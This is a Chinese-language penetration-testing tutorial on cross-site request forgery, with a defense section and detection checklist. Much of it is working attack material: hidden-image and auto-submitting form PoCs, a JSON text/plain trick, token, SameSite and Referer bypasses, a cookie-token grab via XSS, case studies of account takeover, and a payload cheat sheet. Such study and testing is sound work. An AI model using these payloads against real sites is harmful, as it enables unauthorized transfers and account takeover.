适合人群:初中级安全测试人员
前置知识:HTTP协议基础、Cookie/Session机制
一、前置准备
# 靶场环境(任选其一)
docker pull vulnerables/web-owasp-nodegoat
docker run -d -p 4000:4000 vulnerables/web-owasp-nodegoat
# 或使用本地靶场
pip3 install flask # 轻量CSRF测试靶场
测试工具:
- Burp Suite(抓包改包)
- Playwright / 浏览器开发者工具
- Python requests(PoC生成)
二、核心原理
CSRF(跨站请求伪造)的核心漏洞在于:
服务器无法区分「用户主动发起的请求」和「攻击者伪造的请求」
用户登录A网站后,浏览器自动携带Cookie访问攻击者构造的B网站链接,B网站利用这个身份对A网站执行非自愿操作。
攻击三要素
1. 受害者已登录目标网站(有有效Cookie/Session)
2. 目标网站的操作仅靠Cookie验证(无额外校验)
3. 攻击者构造的请求能触发目标操作
与XSS的区别
| 特性 | CSRF | XSS |
|---|---|---|
| 利用方式 | 伪造请求,冒用身份 | 注入脚本,执行代码 |
| 是否需要目标网站存在XSS | ❌ 不需要 | ✅ 需要 |
| 受害者交互 | 点击链接/访问页面 | 访问被污染的页面 |
| 防御难度 | 较容易(加Token即可) | 较复杂 |
三、实操步骤
3.1 基础CSRF(GET方式)
最经典的场景——转账接口没有任何防CSRF措施:
GET /transfer?to=attacker&amount=1000 HTTP/1.1
Host: bank.com
Cookie: session=valid_user_session
攻击PoC:
<html>
<body>
<h1>点击领奖</h1>
<img src="http://bank.com/transfer?to=attacker&amount=1000" style="display:none">
</body>
</html>
受害者访问这个页面时,浏览器自动发送了转账GET请求(携带Cookie)。
3.2 POST方式CSRF
POST /change_email HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=xxx
email=attacker@evil.com
攻击PoC:
<html>
<body>
<form action="http://target.com/change_email" method="POST" id="f">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit()</script>
</body>
</html>
3.3 JSON API的CSRF
如果API接受JSON,用 enctype 绕过:
<form action="http://target.com/api/change_email" method="POST"
enctype="text/plain">
<input type="hidden" name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
实际请求体:
{"email":"attacker@evil.com","ignore":"="}
部分服务端对 text/plain 的JSON不做校验,直接解析。
3.4 CSRF Token绕过
| 绕过方式 | 原理 | 可用性 |
|---|---|---|
| Token空值 | csrf_token= 或 csrf_token=null | ⭐⭐⭐ |
| Token复用 | 用另一个账号的合法Token(如果Token未绑定Session) | ⭐⭐⭐ |
| Token泄露 | Referer/URL/Cookie中泄露了Token | ⭐⭐ |
| 删除Token参数 | 完全不传Token字段 | ⭐⭐⭐ |
| 改请求方法 | POST→GET 绕过Token校验 | ⭐⭐⭐ |
| 使用相同Token | Token固定(用户登录时不刷新) | ⭐⭐ |
| Hash长度扩展 | 某些框架用 hash(session_id) 做Token | ⭐ |
3.5 SameSite Cookie 绕过
| SameSite值 | 防御效果 | 绕过条件 |
|---|---|---|
Strict | 🔒 完全防御CSRF | 无法绕过 |
Lax(默认) | ⚠️ GET方式可绕过 | ✅ 使用GET触发操作 |
None | ❌ 无防御 | 正常CSRF攻击 |
SameSite=Lax绕过实战:
如果目标使用 SameSite=Lax,但某个操作可以GET触发:
<img src="http://target.com/delete_account?confirm=yes">
<!-- SameSite=Lax 下GET请求仍会携带Cookie -->
如果目标强制POST且SameSite=Lax,可以用 window.open 打开新窗口绕过:
<script>
window.open('http://target.com/api/logout')
// 顶层导航不受SameSite=Lax限制
</script>
SameSite=Strict 下的绕过思路:
- 子域名下的XSS(可以设置同站Cookie)
- Cookie toss(强制刷新Cookie的SameSite属性)
3.6 双重Cookie提交绕过
某些系统用「Cookie中的Token + 请求参数中的Token」做双重校验。如果Token相同但来自请求参数,可以:
<script>
// 先通过XSS获取Cookie中的Token
var token = document.cookie.match(/csrf=([^;]+)/)[1];
// 构造带Token的请求
var img = new Image();
img.src = 'http://target.com/transfer?to=attacker&amount=1000&csrf=' + token;
</script>
如果有子域名XSS,可以读取父域名的Cookie。
四、CSRF Token绕过技术
4.1 Token未绑定Session
# 漏洞代码 —— Token未绑定用户会话
VALID_TOKENS = ["abc123", "def456", "ghi789"]
def transfer(request):
token = request.form['csrf_token']
if token in VALID_TOKENS: # ❌ 只检查Token是否有效,不检查属于谁
do_transfer()
攻击者注册自己的账号,获取合法Token,然后在攻击其他人的请求中使用自己的Token。
4.2 Token在Cookie中可预测
# 漏洞代码 —— Token基于用户名预测
token = base64_encode(username + ":" + timestamp)
# 攻击者可以为自己和受害者分别计算Token
4.3 Referer校验绕过
# 漏洞代码 —— Referer包含子域名即通过
if "target.com" in request.referer: # ❌ 弱校验
do_action()
绕过:
<!-- 子域名攻击 -->
<img src="http://csrf.target.com/evil.html">
<!-- Referer为空绕过(meta标签) -->
<meta name="referrer" content="never">
<!-- 用 data: URI 打开 -->
data:text/html,<script>location='http://target.com/transfer?...'</script>
五、实战案例复盘
案例1:CSRF修改管理员密码
某CMS后台密码修改接口无Token保护:
POST /admin/profile/edit HTTP/1.1
Cookie: admin_session=xxx
password=newpass123&repassword=newpass123
攻击流程:
- 管理员登录后台
- 诱骗点击嵌入CSRF PoC的页面
- 密码被改为
newpass123 - 攻击者用新密码登录后台
案例2:CSRF + JSON API + XSS 组合拳
某系统API用JSON格式但无Token,同时有XSS:
1. XSS注入 → 读取用户数据
2. CSRF + JSON → 修改邮箱(使用 enctype=text/plain)
3. 触发密码重置 → 新密码发送到攻击者邮箱
4. 账号完全接管
案例3:SaaS平台多租户CSRF
某SaaS平台的组织邀请功能:
POST /api/org/invite
Cookie: session=xxx
{"email":"victim@target.com","role":"admin"}
攻击流程:
- 攻击者注册账号 + 创建组织
- 抓取invite接口的JSON格式
- 构造CSRF PoC发给目标组织的管理员
- 管理员被加入攻击者的组织,公司数据泄露
六、防御建议
| 防御措施 | 效果 | 实施难度 |
|---|---|---|
| CSRF Token(绑定Session) | 🟢 最强 | 低 |
| SameSite Cookie(Strict) | 🟢 强 | 低 |
| 自定义请求头(X-Requested-With) | 🟡 中等 | 低 |
| Referer/Origin严格校验 | 🟡 中等 | 低 |
| 关键操作二次验证(密码/验证码) | 🟢 最强 | 中 |
| 验证码(CAPTCHA) | 🟢 强 | 中 |
推荐方案(组合使用):
# 1. CSRF Token + 绑定Session
session['csrf_token'] = secrets.token_hex(16)
# 2. SameSite=Strict
response.set_cookie('session', session_id, samesite='Strict')
# 3. 关键操作二次验证
def transfer(request):
if not request.form.get('confirm_password'):
return "需要密码确认"
七、常见陷阱
| 陷阱 | 说明 |
|---|---|
| ❌ Token存储在Cookie中(双重Cookie) | 可被子域名XSS读取 |
| ❌ Token使用固定值 | 登录后不刷新 |
| ❌ Referer包含即可 | 子域名可控即可绕过 |
| ❌ 仅POST需要Token,GET不需要 | 攻击者用GET同样能触发操作 |
| ❌ JSON API不需要Token | JSON CSRF同样存在 |
八、总结速查表
检测步骤
# 1. 抓包看操作请求是否有Token字段
# 2. 看Cookie的SameSite属性
# 3. 去掉Token参数重新发送(看是否成功)
# 4. 用另一个账号的Token替换(看是否校验归属)
# 5. 构造PoC页面测试(用 playwright/python 自动提交)
Payload速查表
| 方式 | Payload |
|---|---|
| GET img | <img src="http://target.com/action?param=value"> |
| POST form | <form action="http://target.com/action" method=POST> |
| JSON text/plain | <form enctype="text/plain" action="http://target.com/api"> |
| XHR + CSRF | <script>fetch('http://target.com/api',{credentials:'include'}) |
| SameSite绕过 | window.open('http://target.com/action') |